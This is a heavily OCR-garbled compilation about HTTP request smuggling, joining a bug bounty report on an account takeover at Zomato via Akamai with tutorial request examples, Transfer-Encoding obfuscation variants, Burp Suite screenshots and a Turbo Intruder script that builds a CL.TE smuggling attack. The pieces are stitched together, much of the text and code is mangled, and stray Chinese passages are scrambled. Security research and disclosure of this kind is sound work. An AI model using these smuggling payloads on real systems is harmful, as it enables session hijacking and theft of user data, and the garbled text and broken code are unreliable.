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SUMMARY BY DEFPARAM

@ Account takeover vulnerability using HTTP Request Smuggling and Desync attacks, this time through &kamai en route to Zomato. A big thanks
to Zomato and Akamai for working with me to fix these issues in a timely manner.

For more information about these types of vulnerakilities check out my talk Practical Attacks using HTTP Request Smuggling &

TIMELINE - EXPORT

@ defparam submitted a report to Zomato. Jan 10th (7 months ago)
Intro

Hi Zomato Security Team!

My name is Evan Custodio and this is my first time evaluating your platform. | specialize in looking for server-side vulnerabilities. Recently I've
taken a deep look at HTTP Request Smuggling issues. | have custom tools to evaluate over 150 types of HTTP Smuggling Payloads. When
evaluzating your platform I've found one asset that falls victim to HTTP Smuggling Attacks that result in: Pll/Information Leakage, Session
Takeover, Victim Request Hijacking/Forging and Forced Victim Redirection to Attacker Endpoint. this is a serious bug that should be dealt with
immediately as any bad Actor could use these issues to stage attacks that could cause severe damage to Zomato and Zomato's Customers.
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HTTP/1.1 200 OK

erver: ATS/7.1.2

Date: wed, 29 Jun 2020 10:50:00 GMT
Content-Type: text/html; charset=UTF-8
Age: 0O

Connection: keep-alive

Content-Length: 385
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Content-Length: 13

Transfer-Encoding: chunked
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Transfer-Encoding: chunked

Transfer-Encoding: compress

Transfer-Encoding: deflate

Transfer-Encoding: gzip

Transfer-Encoding: identity
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Transfer-Encoding: chunked
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M {1 M ¥ [ Transfer-Encoding M Content-
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Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding

: chunked
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POST /search HTTP/1.1

Host: xxx.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11

g=smuggling
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POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded
Content-Length: 50

Transfer-Encoding: chunked
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GET /404 HTTP/1.1

Foo: x
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GET /404 HTTP/1.1

Foo: xPOST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11

g=smuggling
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POST /search HTTP/1.1
Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 4



Transfer-Encoding: chunked

7c

GET /404 HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 144

R A NAF S RKER IR, BT DM HERD T
GET /404 HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 146

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded

Content-Length: 11



g=smuggling
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Request Smugglerfii) .
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[ reet B ot | Scawe | b | Fepss | Semecer ]

1
Projact o

Camparer pions |
me]mmmw‘[om ]
M £} Reques! ta hitpe - |
m— Achon - [ |
l J | Do ] &l S — Sand to Saider o lﬂl |1|
E Params | Hoaders | Hex Lo
GET /postipostid=) HITE/L.1 Send bo Intrusder £ .
Hoac: a . Send to Repeatar Cirl+R P
Osec-hgent: MozillasS.0 (Wiodows NT 10.0; Wimed: =edi ©
Aocept: Text/hrml,applicacionxhml+xml, applicacion/ iy Band to Saquencer
bocepi-Languag=: sk-IH, shig=0.8, sh-TWrq=0.7, sh-HF: g=0. 5, =0 Send to Comparer
Accepi-Incoding: grip, deflace
Connection: close Bond to Decoder
Cookle: seaslon=xr¥spic . eluil Reguest in browser »

Opgeade-Tnaecure-Paguesca: |

Fi A7 36 TR A BT R

Sand request 1o Autorize
Send cookie fo Autorize
Parsa WEDL

Churiked coding converter
I Launch Smuggla probs I

P

Engagemant toals
Change request method
Changs body encoding
Capy URL

Copy a5 curl command
Capy Lo Hs




Attack Config

thread pool size: 8 timeout:

key method: ] key status:

key server: ] key header names:
poc: G: O poc: headerConcat:
poc: collab: O poc: collab-header:
poc: collab-abs: O poc: collab-at:

poc-collab domain: manual-collab-domain-here (use turbo for autopoc:

skip obsolete permutations: [ only report exploitable:
pad everything: O filter:

force method name: globally swap - with _:
permute: commaCow: ] permute: cowComma:
permute: quoted: ] permute: aposed:
permute: nested: ] permute: lazygrep:
permute: Odsuffix: ] permute: tabsuffix:
permute: accentCH: ] permute: spacejoini:
permute: prefix1:9: ] permute: prefix1:11:
permute: prefix1:13: ] permute: prefix1:127:
permute: suffix1:9: ] permute: suffix1:11:
permute: suffix1:13: ] permute: suffix1:127:
permute: badwrap: ] permute: spacel:
permute: gareth1: ] permute: nameprefix1:
permute: nospacel: ] permute: linewrapped:
permute: vertwrap: ] permute: tabwrap:
permute: Odwrap: ] permute: Odspam:
permute: unispace: ] permute: connection:
permute: spacefix1:9: ] permute: spacefix1:11:
permute: spacefix1:13: ] permute: spacefix1:127:

" LA B AT BEAF AEht tpiF K E FA

-
=]

use key:

key content-type:

skip straight to poc:
poc: bodyConcat:

poc: collab-XFO-header:
poc: collab-blind:

skip vulnerable hosts:

O EEO0O0OO®

risky mode:

convert GET to POST:
permute: dualchunk:

permute: contentEnc:
permute: revdualchunk:
permute: bodysplit:
permute: accentTE:
permute: prefix1:0:
permute: prefix1:12:
permute: suffix1:0:
permute: suffix1:12:
permute: vanilla:
permute: badsetuplF:
permute: valueprefixi:
permute: badsetupCR:
permute: multiCase:
permute: spaceFF:

permute: spacefixi:0:

EERAEEERARARERRREREREEREREROCDOOOR® @

pe - spacefix:12:

ERFREEEEEEEEEERERERDO
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HH HrequestiF R A S dismuggle attcak:

Issues

Timea
11:23:1

.

7 Possible HTTP Request Smuggling: CL TE prefix1:0 (delayed responsa)

7 Possible HTTP Request Smuggling: TE CL cowComma (delayed response)
7 Possible HTTP Request Smuggling: CL TE prefix1-9 (delayed response)

? Possible HTTP Request Smuggling: TE CL vanilla (delayed response)

7 Possible HTTP Request Smuggling: TE CL prefix1:9 (delayed respansa)

) Strict transport security not enforced

i Cacheable HTTPS response
1 SSL certificate

| Frameable response (patential Clickjacking)

Advisory

Response 1 | Request 2 | Response 2 |

EPm Headers | Hex

s
.

-
v

natches

FE IR 8B B [ AC S ol Bz 2l 2 HodE A

POST / HTTE/L.L
Host: 15
User-Agent: Mozilla/5.0 (Macin
Chrome/71.0.3578.98 Safari/537
Accept: text/html,application/
Accept-Language: zh-CM,zh:;q=0.
| Accept-Encoding: gzip, deflate|
Connection: close
Cookie: session=8lL_...covueug =B
Upgrade-Insecure-Requesca: 1
Contenc=Type: application/x—ww|
Content-Length: 5
Transfer-Encoding: identity, cf

o

|?|| < || + |i>| Type a searc

Send to Spider

Do an active scan e
Do a passive scan

Send to Intruder

Send to Repeater

Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser
Request in browser >
Send request to Autorize

Send cookie to Autorize

Parse WSDL

Chunked coding converter »
Convert to chunked

GZIP encode body

Launch Smuggle probe

Ctri+l

Copy URL

kppleWebEic/537.36 (KHTHL, like Gecko)

B, imags/webp, */ ";q=0.8
Cti+R E:q=0.3,en;q=0.2

Copy as curl command
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POST / HTTP/1.1

Homt: ¢ -,m._wﬂ--“ :

User-Agent: Mos.iia w.u soocsscusn; [ntel Mac OS5 X 10_14 2) AppleWebKit/537.3€ (KHTML, like Gecko) Chrome/71.0.3578.98
Safaci/537.3¢

Accept: text/html,application/xhtml+xml, application/xml;q=0.%, image/vebp, */*;q=0.8

Accept=-Language: zh-CN,zh;q=0.8,zh-TV:q=0.7,zh-HK:q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: session=Blns.uuvuecy ccimeice il Plia_ yZVIX

E3]E3]E]E3] 0 matches |

# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
import re

det queusPequests (target, vordlists): 1

# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngins (endpoint=target.endpoint,
concurrentConnect ions=5,
cequestsPerConnection=1, ¥ if you increase this from 1, you may get false positives
resumeSSL=Falae,
timeout=10,
pipeline=False,
maxRetrieaPerRequest=0,
engine=Engine. THREADED,
]

t to achieve the desired effect.
prefix = *''POST /hopefullyd04 HTTP/L.L
t: your-collaborator-domain

ontent-Type: application/x-wwe-form—urlencoded
ontent-Length: 15

=TT

chunk size = hex(len(prefix)).lstrip("0x™)

attack = target.req.replace ("0\r\n\r'n', chunk size+'\r\n'+prefix+' ' rindic\niein')

content_length = re.ssarch|' Content-Length: (['d]+) ', actack).groupil)

attack = attack.replace(’'Content-length: ‘+content _length, 'Content-length:
‘4str(int (content_length) +len(chunk_size)-3))

sngine ., queus (atcack)

for i in rangsild):
engine. queus (Carget.ceq)
Time.sleep(0.05)

def handleResponseireq. interesting):
table.addiceq)

BEEE
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& Turbo Intrud [ | done - o X

Row Payload | Status Words Length Time Label |

1 200 4844

2 200 2280 4844 6144

3 200 4844

4 200 2280 4844 6240

5 200 4844 243

11 200 4844 285

T 200 2280 844 258

B 200 4844 303

] 200 4844 303

10 200 2280 4844 25

n 200 4844 253

12 200 2280 4844 307

13 200 dBas 266

" 200 4844 289

Params | Headers | Hex | _J R | Hoaders | Hex | HTML | Rendar |
POST / HTTP/1.1 A HTTP/1.1 200 OK &
- : Contenc-Type: text/html: charsec=utf-@

Content-Encoding: gzip
Keep-Alive: timesouc=0
i~ ..ac (KHTHL, like Gecko) Connection: close
Chrome/T1l.u.23/0.»0 Safari/537.36 Content=-Length: 1566
hocepr:
vext/html, applicat ion/xheml+xml, application/ xml; q=0.9, imag <'po
&/webp, */*: q=0.8 <html
Accept-Language: <heau-
zh-CN, =h: q=0.8, zh-TW: q=0.7, zh-HE: q=0.5,en-U3:q=0.3, en: q=0. <lim -
] rel=Snnmn
Accept-Encoding: gzir “=flate o .
Comneéction: keep-al ' . Fles
Cookie: session=8lm ahi s
Upgrade-Insscure-Requ.
Content-Type: application/x-wws _
Comtent-Length: 5
Transfer-Encoding: identicty, chunked src="/cesou >
o
CE/ECT 4o, L >
ane e
g 3rc= vy v

(2] (=) (2 (2] (7m0 o soarch tom omatches (2 |[ || 4[> Typonmchmr:n- . e

F-p'. 15 | Queued: 0 | Duration: 10 | RPS: 2 | Connections: 20 | Retries: 0 | Fails: 0 | Nexd: null | Completed

-_— s >
goid — PR AR, BN AEHT TP K AE FA I i .

WANTELTRAAG -ANLTHE, BACEAFHIN2000 T, B2
A 56 AR

XL SR BRI AES000 J] ) K # A T A
https://github.com/defparam/smuggler
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LA I SEROLE LR Lunn s

Uses aptions T Alets T Aulorize T Scan Check Buildes ]’ Software Vidnerabslity Scanner T CSRF Token Tracker T JEON Beautiher

| o | s | o | oose | ewew | sewwoe | owow | Cowaw | o | rowomm

]’w:ﬂef T Logger++ ]

[1 ]2 «T3=T2x]5 Jiousl -]

Go Cancal < | > v Tad

Request

LY

Response

[[Raw | Params [ rieaders | Hex | Raw | Haadars | Hax [ FTML | Randar

3|

GET / HTTR/1.1 & KTTP/1.1 200 OF
-

Hosk: g mmm T mmE | UE Content-Typs! text/btml; charser=uti-g8
Oger-RAgent: No2illasG.0 (NIRGOWS &0 au.u: siife: méac dwiibauyg F¥eep-Alive:! Cimecuc=0
Geoke/ 20100101 Firefox/70.0

Connectioni close
Aooepc: Content-Langrh: 474E
text/btml, app licat ion/shtml+nml, applicatieas xmly q=0. 8, imags/ weip, %/ % g=0.
] «/DOCTYPE htmls
<html>

‘

Looept-Languags=s

£h-CN. zhrg=0.8, En-T¥:q=0.7, eh-EE; g=0.5, en-05:q=0.3, en:q=0.2
Aeeept-Encoding: gaip, dellave

Coopection: clome Sritlex
Cookie: aeamion=CE0erT IWEleT T o/ haads

Upgrade-lnsecure—fequeata: L “in

iower, 15T R/ BOC1PTE

<mmCCion
iV Elasn

| wa Clamm= Link-back™

£ O B FE ¥ repeater 1 [ update content-—
length % WM , B 1 ¥ & 2 5 w Mk 5% #% B content-
lengthHAEHKE, FEIERERLA LI

W Burp Suite Professional v1,7.37 - Temporary Project - licensed to surfe - [m}
Bup Intruder Window Leggsrt+ HM’-’%
=

P

Usar optid | Update Content-Length Chack Buikler | Software Vulnarablity Scanner CSRF TokonTrackar | JSON Boautifer Wador | Laggerss
Taget | ¥ Unpack gzip [ defiate T Intruciar -ﬁ Sequencer ]J Decader T Camparar T Extonder Praject ngiions

F———Fullow rediractions [
e [ E Process cooles in redirections

View >

Request Response

@Pm Headars | Hex EHMMHTML llmdm]

Go Action . Target: i, L - — [#)]

GET / ETTR/1.1

Homt: & g
User-igenc: Mozilla/S.D |Windows NT 10.0; Winéd; x&4: rw:/=.o)
Gecko/I0L00101 Firsfox/TH.0

Bocept:

text/htal, application/ shtml+xml, applicat ion/xal; g=0. 9, imags webp, =/ "; q=0,
]

ETTF/1.1 200 OF

Conteot-Type: text/html;: charset=utf-g@
Feep-ilive: Timeonc=0

Conpection: close

Concenc-Lengrh: AT4&8

T

<! DOCTYPE htmd>
Aocept-Languags:

<ktmls
EN-CN, gh: g=0.8, Eh-T: g=0.7, sh-HF: g=0.5, en-T5: =0, 3, en:q=0. 2 cheads
hecept-Enceding: gaip. deflate <lind EhRELa -
Connection: close <titl »
Cookiz: session=IEGzrtlwd: ~ 77 </ heads
Upgrade-Insecure-Peguests: 1 <bodys
<div ther
<mcr =CcCipts
<div

Hif Ui ik % ax 4k B Transfer-
Encodinghrk, UL H B IE XM A > gmid . &4 HE— A
e, BHIABAFHK, HE T I hsMuccLED. &AL B =
MY, ZHBEROKE AT, R & LR ZiEF R
¥ B Ja v i 55 A
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